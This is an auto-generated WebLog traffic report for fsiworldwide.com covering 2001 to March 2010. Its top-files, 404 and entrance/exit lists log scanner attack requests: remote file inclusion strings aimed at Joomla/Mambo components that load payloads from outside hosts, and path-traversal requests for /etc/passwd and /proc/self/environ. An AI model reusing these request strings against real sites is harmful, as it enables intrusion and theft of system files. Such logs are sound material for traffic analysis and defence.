Overall Activity Report:
fsiworldwide.com

(Accesses Through 05:17:01 07 Mar 2010)

| Access Details Report | Referring URLs Report | Keywords Report | Agents/Platforms Report |


Index

Long-Term Statistics:

     

Statistics for the Current Month (Mar 2010):

Key Terms:

Hits: The total number of files requested from the server.
Bytes: The amount of information transferred in filling those requests.
Visits: The (approximate) number of actual individual visitors.
PViews: The number of Web pages viewed by those visitors.

The bar graphs below are based upon number of visitors.


Monthly Statistics

        Hits               Bytes      Visits      PViews      Month

           6               4,440           1           3   Oct 2001  
          35              72,428          21          22   Nov 2001  
          42              81,444          26          28   Dec 2001  
          65             113,348          41          45   Jan 2002  
          40              75,926          26          27   Feb 2002  
          34              70,688          21          21   Mar 2002  
          29              61,708          17          17   Apr 2002  
       1,516           1,969,420          29       1,498   May 2002  
          53              91,964          39          39   Jun 2002  
          56             101,552          40          38   Jul 2002  
          46              65,760          40          39   Aug 2002  
          34              57,954          25          24   Sep 2002  
          38              58,336          30          31   Oct 2002  
          31              58,400          21          21   Nov 2002  
          26              45,710          19          19   Dec 2002  
          26              45,808          18          19   Jan 2003  
          34              75,089          22          18   Feb 2003  
          26              43,918          19          19   Mar 2003  
          26              58,839          15          13   Apr 2003  
          38              49,907          28          35   May 2003  
          22              31,053          20          20   Jun 2003  
          23              31,409          19          21   Jul 2003  
          40              90,492          22          21   Aug 2003  
          46              88,951          27          30   Sep 2003  
          37              63,197          27          28   Oct 2003  
          50              78,572          38          41   Nov 2003  
          50              91,518          36          35   Dec 2003  
          51              86,546          40          39   Jan 2004  
          39              61,599          28          32   Feb 2004  
          69             102,541          50          59   Mar 2004  
          69             108,780          51          56   Apr 2004  
          64              95,734          49          55   May 2004  
          87             117,422          59          79   Jun 2004  
          66             122,892          47          50   Jul 2004  
          88             141,942          67          75   Aug 2004  
          83             130,599          66          72   Sep 2004  
         115             194,900          81          98   Oct 2004  
         136             282,461          87         112   Nov 2004  
         150             348,576          95         126   Dec 2004  
         459             812,418          94         428   Jan 2005  
         207             431,414         102         172   Feb 2005  
         237             586,897         138         194   Mar 2005  
         335             816,958         151         293   Apr 2005  
         517           1,309,275         288         419   May 2005  
         507           1,213,946         305         429   Jun 2005  
         440           1,102,697         273         365   Jul 2005  
         512           1,307,182         321         432   Aug 2005  
         527           1,356,633         311         444   Sep 2005  
         515           1,302,810         311         419   Oct 2005  
         464           1,165,862         295         377   Nov 2005  
         382             953,132         252         312   Dec 2005  
         749           1,632,086         366         597   Jan 2006  
         459             978,964         249         375   Feb 2006  
         401             872,713         193         342   Mar 2006  
         284             613,191         152         212   Apr 2006  
         215             553,069         127         162   May 2006  
         242             532,404         134         180   Jun 2006  
         265             626,250         157         199   Jul 2006  
         241             583,157         138         195   Aug 2006  
         249             607,830         157         194   Sep 2006  
         264             567,981         166         190   Oct 2006  
         270             606,056         160         198   Nov 2006  
         305             651,917         173         216   Dec 2006  
         481           1,072,188         235         357   Jan 2007  
         402             909,479         208         292   Feb 2007  
         581           1,197,862         273         420   Mar 2007  
         446           1,029,532         234         322   Apr 2007  
         408             969,822         244         286   May 2007  
         403             903,378         230         261   Jun 2007  
         429             921,780         216         297   Jul 2007  
         469             989,892         236         282   Aug 2007  
         831           3,283,329         235         292   Sep 2007  
         356           1,868,469          55          63   Oct 2007  
         733           4,163,581         117         132   Nov 2007  
       4,350          24,466,696         644       1,974   Dec 2007  
       3,575          17,617,471         600         846   Jan 2008  
       3,930          18,310,354         719         684   Feb 2008  
       7,669          21,274,600       1,171         798   Mar 2008  
      12,438          32,384,767       1,774         976   Apr 2008  
      26,548          63,460,077       2,891       1,768   May 2008  
      22,167          54,543,661       2,442       1,483   Jun 2008  
      28,886          95,266,114       3,152       2,698   Jul 2008  
       8,182          35,343,420       1,161       1,123   Aug 2008  
      19,609          62,143,825       1,836       1,577   Sep 2008  
      28,398          88,957,870       2,070       1,643   Oct 2008  
      25,672          82,726,999       1,999       1,838   Nov 2008  
      21,505          74,730,427       1,666       1,462   Dec 2008  
      20,213          69,742,952       2,093       1,835   Jan 2009  
      20,368          63,124,768       2,308       1,552   Feb 2009  
      24,648          70,564,212       2,081       1,543   Mar 2009  
      23,539          68,020,680       1,573       1,364   Apr 2009  
      24,859          76,955,200       2,415       2,176   May 2009  
      22,488          64,087,565       2,212       1,900   Jun 2009  
      23,283          65,471,961       2,910       2,375   Jul 2009  
      14,337          40,672,977       1,742       1,580   Aug 2009  
      12,983          36,491,826       1,704       1,390   Sep 2009  
      29,608          81,784,794       3,647       3,225   Oct 2009  
      17,942          54,202,649       1,649       1,678   Nov 2009  
      17,813          54,665,477       2,173       2,172   Dec 2009  
      21,781          62,352,419       2,555       2,812   Jan 2010  
      20,536          64,758,527       2,332       2,545   Feb 2010  
       4,520          13,320,296         438         396   Mar 2010  

[ Return to Index ]


Daily Statistics (Past Five Weeks)

        Hits               Bytes      Visits      PViews       Date


         646           1,535,447          70         111     31 Jan  
         660           2,349,786          79          96     01 Feb  
         733           1,935,859          90          80     02 Feb  
         816           2,781,179          85         131     03 Feb  
         744           1,985,138          85         106     04 Feb  
         651           2,264,018          73          85     05 Feb  
         646           2,548,362          85          92     06 Feb  

         535           1,550,938          61          59     07 Feb  
         671           2,355,173          68          68     08 Feb  
         530           2,009,681          90          93     09 Feb  
         647           2,039,738          93          66     10 Feb  
         569           2,151,642          88         133     11 Feb  
         537           1,583,855          68          85     12 Feb  
         504           1,456,576          88          72     13 Feb  

         552           1,697,418          75          86     14 Feb  
         748           2,551,622          94         122     15 Feb  
         717           2,130,705          98         134     16 Feb  
         657           2,365,975          87          88     17 Feb  
         893           3,326,224          91         130     18 Feb  
         710           1,996,245          74          65     19 Feb  
       1,005           2,750,032          83          57     20 Feb  

         592           1,182,281          61          49     21 Feb  
         862           2,558,989          95         106     22 Feb  
       1,043           3,480,089         101         126     23 Feb  
       1,165           4,053,097         107         125     24 Feb  
       1,089           3,197,747          74          83     25 Feb  
         597           1,658,280          78          67     26 Feb  
         776           2,310,246          71          58     27 Feb  

         887           2,487,632          90          83     28 Feb  
       1,006           2,713,102          70          81     01 Mar  
         701           2,000,804          69          59     02 Mar  
         849           2,672,527         103         104     03 Mar  
         753           2,606,859          66          63     04 Mar  
         620           1,765,782          61          46     05 Mar  
         517           1,422,290          64          42     06 Mar  

          74             138,932           5           1     07 Mar  

[ Return to Index ]


Day of Week Averages

        Hits               Bytes      Visits      PViews        Day

         642           1,690,743          71          78        Sun  
         789           2,505,734          81          95        Mon  
         745           2,311,428          90          98        Tue  
         827           2,782,503          95         103        Wed  
         810           2,653,522          81         103        Thu  
         623           1,853,636          71          70        Fri  
         690           2,097,501          78          64        Sat  

[ Return to Index ]


Hourly Averages

        Hits               Bytes      Visits      PViews       Hour

          22              55,046           3           2         00  
          29              76,533           3           2         01  
          32             110,892           3           3         02  
          29              85,139           3           2         03  
          27              61,734           3           2         04  
          32              99,023           3           2         05  
          27              74,353           3           3         06  
          24              70,696           4           4         07  
          39             109,251           3           3         08  
          33              99,540           4           3         09  
          49             140,034           4           4         10  
          43             114,250           4           4         11  
          43             119,882           4           3         12  
          40             146,482           4           3         13  
          41             127,280           5           4         14  
          37             106,035           5           3         15  
          36             123,086           3           3         16  
          22              69,605           2           2         17  
          28              76,665           2           4         18  
          21              60,282           3           5         19  
          23              62,657           2           2         20  
          26              74,032           3           3         21  
          37             119,181           3           4         22  
          31              95,183           2           4         23  

[ Return to Index ]


"Record Book"

Most Hits: 1,908 (Jul 02, 2008)

Most Bytes: 5,869,389 (Jul 18, 2008)

Most Visits: 238 (Feb 24, 2009)

Most PViews: 981 (May 26, 2002)

[ Return to Index ]


Top 10 Files by Number of Hits (Mar 2010)

Last Accessed               Hits           Bytes   File

22:16:02 06 Mar 2010         153         460,188   /
00:01:46 02 Mar 2010          36         233,856   //index.php?option=com_sef&Itemid=&mosConfig.absolute.path=http:/woojinmc.com/board/data/ts?????
08:52:00 03 Mar 2010          32         207,872   /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http:/www.cepp56.com/editor/ts???
11:55:48 04 Mar 2010          18         116,928   /index.php?option=com_frontpage&Itemid=&mosConfig.absolute.path=http:/www.buddwriter.org/board/sc1?
10:22:11 06 Mar 2010          17         110,432   /../etc/passwd%00
02:40:00 04 Mar 2010          12          77,952   //?_SERVER%5BDOCUMENT_ROOT%5D=http:/www.surfnebraska.net/york/albums/data/sc1??
20:28:43 05 Mar 2010           8          14,425   /dealers.php
19:50:55 06 Mar 2010           8          51,968   /?sourcedir=http:/www.boothbayoperahouse.com/mambots/idxx.pdf???
02:06:16 04 Mar 2010           8          51,968   /index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=http:/www.provedorm4net.com.br/portal/.laknat/cc???
00:36:18 05 Mar 2010           5          32,480   /../etc/passwd

[ Complete File Statistics ]
[ Return to Index ]


Top 10 Files by Volume (Mar 2010)

Last Accessed               Hits           Bytes   File

22:16:02 06 Mar 2010         153         460,188   /
00:01:46 02 Mar 2010          36         233,856   //index.php?option=com_sef&Itemid=&mosConfig.absolute.path=http:/woojinmc.com/board/data/ts?????
08:52:00 03 Mar 2010          32         207,872   /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http:/www.cepp56.com/editor/ts???
11:55:48 04 Mar 2010          18         116,928   /index.php?option=com_frontpage&Itemid=&mosConfig.absolute.path=http:/www.buddwriter.org/board/sc1?
10:22:11 06 Mar 2010          17         110,432   /../etc/passwd%00
02:40:00 04 Mar 2010          12          77,952   //?_SERVER%5BDOCUMENT_ROOT%5D=http:/www.surfnebraska.net/york/albums/data/sc1??
19:50:55 06 Mar 2010           8          51,968   /?sourcedir=http:/www.boothbayoperahouse.com/mambots/idxx.pdf???
02:06:16 04 Mar 2010           8          51,968   /index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=http:/www.provedorm4net.com.br/portal/.laknat/cc???
00:36:18 05 Mar 2010           5          32,480   /../etc/passwd
13:28:51 01 Mar 2010           5          32,480   /index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http:/geo.metodist.ru/images/id?

[ Complete File Statistics ]
[ Return to Index ]


Top 10 Most Frequently Requested 404 Files (Mar 2010)

Last Accessed               Hits           Bytes   File

23:15:13 06 Mar 2010          82          41,000   /robots.txt
03:31:10 03 Mar 2010          44          22,000   /appserv/main.php?appserv_root=http:/blog.kakuro.com.tw/include/id1.txt?
00:11:51 02 Mar 2010          34          17,000   /components/com_fabrik/libs/Blowfish/CBC.php?mosConfig.absolute.path=http:/woojinmc.com/board/data/ts?????
10:22:11 06 Mar 2010          33          16,500   /../etc/passwd%00
16:16:42 06 Mar 2010          30          15,000   /favicon.ico
04:25:23 04 Mar 2010          25          12,500   /../etc/passwd
10:22:11 06 Mar 2010          21          10,500   /etc/passwd%00
02:51:37 02 Mar 2010          19           9,500   /bbs/write_update.php?board_skin_path=http:/dongja.booktobi.com/bbs/id1.txt?
19:34:57 04 Mar 2010          17           8,500   /components/com_moofaq/includes/file_includer.php?gzip=0&file=http:/zerozon.co.kr/data/eeng/heheh.txt?
18:40:48 02 Mar 2010          16           8,000   /appserv/main.php?appserv_root=http:/www.samer1.net/space/ray/1.txt?

[ Complete 404 File Not Found Statistics ]
[ Return to Index ]


Top 10 "Entrance" Pages (Mar 2010)

                            Hits                   File

                           3,095                   /
                             324                   /../etc/passwd%00
                             146                   /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid=1&GLOBALS=&mosConfig_absolute_path=?
                              65                   /?sourcedir=http:/musicadelibreria.net/footer??
                              59                   /dealers.php
                              45                   /proc/self/environ%00
                              36                   /index.php
                              28                   //?_SERVER[DOCUMENT_ROOT]=http:/musicadelibreria.net/footer??
                              27                   /index.php?option=com_user&view=reset&layout=confirm
                              19                   /index.php?option=com_xfaq&task=answer&Itemid=S@BUN&catid=97&aid=http:/musicadelibreria.net/footer??

[ Complete File Statistics ]
[ Return to Index ]


Top 10 "Exit" Pages (Mar 2010)

                            Hits                   File

                           3,030                   /
                             261                   /../etc/passwd
                             146                   /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid=1&GLOBALS=&mosConfig_absolute_path=?
                              86                   /dealers.php
                              63                   /../etc/passwd%00
                              59                   /?sourcedir=http:/musicadelibreria.net/footer??
                              54                   /index.php
                              44                   /proc/self/environ
                              29                   //?_SERVER[DOCUMENT_ROOT]=http:/musicadelibreria.net/footer??
                              25                   /index.php?option=com_user&view=reset&layout=confirm

[ Complete File Statistics ]
[ Return to Index ]


"Top Level" Domains (Mar 2010)

Last Accessed               Hits           Bytes   "Top Level" Domain

05:17:01 07 Mar 2010       1,395       3,643,764   xxx  = Unresolved Domain
05:02:32 07 Mar 2010         956       3,319,740   com  = US Commercial
04:24:01 07 Mar 2010         644       2,254,666   net  = US Network
03:21:21 07 Mar 2010         265         870,008   de   = Germany
03:42:54 07 Mar 2010         203         515,224   co   = Colombia
08:10:19 06 Mar 2010         155         419,272   info = Dot-Info
20:26:20 05 Mar 2010         105         323,026   eu   = Europe
22:51:20 06 Mar 2010         137         320,332   br   = Brazil
03:17:45 07 Mar 2010         131         293,348   uk   = United Kingdom
04:46:40 07 Mar 2010          87         267,056   ru   = Russian Federation
23:25:26 06 Mar 2010          52         175,900   fr   = France
23:15:13 06 Mar 2010          77         118,388   jp   = Japan
16:26:15 06 Mar 2010          71         113,448   kr   = South Korea
19:08:44 05 Mar 2010          19          99,440   tw   = Taiwan
17:44:49 06 Mar 2010          25          99,123   org  = US Organization
10:43:07 06 Mar 2010          47          83,460   it   = Italy
15:38:34 04 Mar 2010          12          74,797   edu  = US Educational
14:08:27 05 Mar 2010          17          68,460   nl   = Netherlands
13:04:03 06 Mar 2010          16          45,952   pl   = Poland
11:52:29 06 Mar 2010          16          37,980   pt   = Portugal
16:05:47 04 Mar 2010           6          26,984   ro   = Romania
17:29:16 02 Mar 2010          14          24,988   dk   = Denmark
00:34:14 05 Mar 2010           6          20,988   cz   = Czech Republic
14:33:29 06 Mar 2010           5          20,488   si   = Slovenia
06:09:35 04 Mar 2010           4          19,988   bn   = Brunei Darussalam
03:09:48 02 Mar 2010           4          19,988   at   = Austria
18:12:43 06 Mar 2010           9          10,496   ec   = Ecuador
02:38:14 07 Mar 2010           5           8,496   es   = Spain
11:36:33 04 Mar 2010           1           6,496   za   = South Africa
04:31:43 03 Mar 2010          11           5,500   mx   = Mexico
21:00:12 02 Mar 2010           8           4,000   hu   = Hungary
11:40:08 01 Mar 2010           5           2,500   be   = Belgium
10:25:56 03 Mar 2010           4           2,000   ua   = Ukraine
08:20:27 03 Mar 2010           4           2,000   au   = Australia
16:04:52 03 Mar 2010           3           1,500   gr   = Greece
22:36:09 01 Mar 2010           1             500   sk   = Slovak Republic

[ Return to Index ]


Top 10 Domains by Number of Hits (Mar 2010)

Last Access                 Hits           Bytes   Domain

05:17:01 07 Mar 2010       1,384       3,608,284   unresolved
03:42:54 07 Mar 2010         200         513,724   adsl200-93147154.sta.etb.net.co
03:21:21 07 Mar 2010         156         545,688   s524.evanzo-server.de
01:46:51 06 Mar 2010         119         317,328   s15349734.onlinehome-server.info
01:29:34 04 Mar 2010          69         118,444   server3.yrpuk.co.uk
00:36:18 05 Mar 2010          65         129,142   vps-93-90-115-49.vpsforce.eu
12:29:14 02 Mar 2010          51         181,396   focoweb.com.br
23:29:51 03 Mar 2010          50         240,856   77-240-113-151.redes.acens.net
13:41:43 06 Mar 2010          48         269,836   111.95.42.static.hosted.by.combell.com
03:17:45 07 Mar 2010          42          98,948   ds3470.dedicated.turbodns.co.uk

[ Complete Domain Statistics ]
[ Return to Index ]


Top 10 Domains by Volume (Mar 2010)

Last Access                 Hits           Bytes   Domain

05:17:01 07 Mar 2010       1,384       3,608,284   unresolved
03:21:21 07 Mar 2010         156         545,688   s524.evanzo-server.de
03:42:54 07 Mar 2010         200         513,724   adsl200-93147154.sta.etb.net.co
01:46:51 06 Mar 2010         119         317,328   s15349734.onlinehome-server.info
13:41:43 06 Mar 2010          48         269,836   111.95.42.static.hosted.by.combell.com
23:29:51 03 Mar 2010          50         240,856   77-240-113-151.redes.acens.net
19:25:23 04 Mar 2010          36         191,884   server.nauck.eu
12:29:14 02 Mar 2010          51         181,396   focoweb.com.br
17:41:52 06 Mar 2010          41         170,400   sd-16287.dedibox.fr
08:59:03 02 Mar 2010          30         152,908   confixx01.aspedi.net

[ Complete Domain Statistics ]
[ Return to Index ]


| Access Details Report | Referring URLs Report | Keywords Report | Agents/Platforms Report |

This report was generated with WebLog 2.53